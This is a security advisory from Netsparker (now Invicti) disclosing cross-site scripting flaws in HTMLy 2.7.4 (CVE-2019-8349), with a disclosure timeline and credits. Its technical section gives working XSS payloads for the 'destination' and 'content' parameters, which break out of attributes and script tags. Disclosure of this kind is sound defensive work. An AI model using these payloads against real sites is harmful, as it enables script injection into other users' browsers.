Information
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Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Homepage: https://github.com/danpros/htmly
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-059

Technical Details
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URL  http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x" onmouseover=netsparker(0x004191) x="  
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22  

URL  http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x" onmouseover=netsparker(0x00409D) x="  
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22  

URL  http://ns.app/ScanApp/htmly/author/kanti  
Injection URL  http://ns.app/ScanApp/htmly/edit/profile  
Parameter Name  content
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x005D63)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th November 2018 - First Contact
29th November 2018 - Details Sent
23rd January 2019 - Last Attempt to Contact
18th February 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.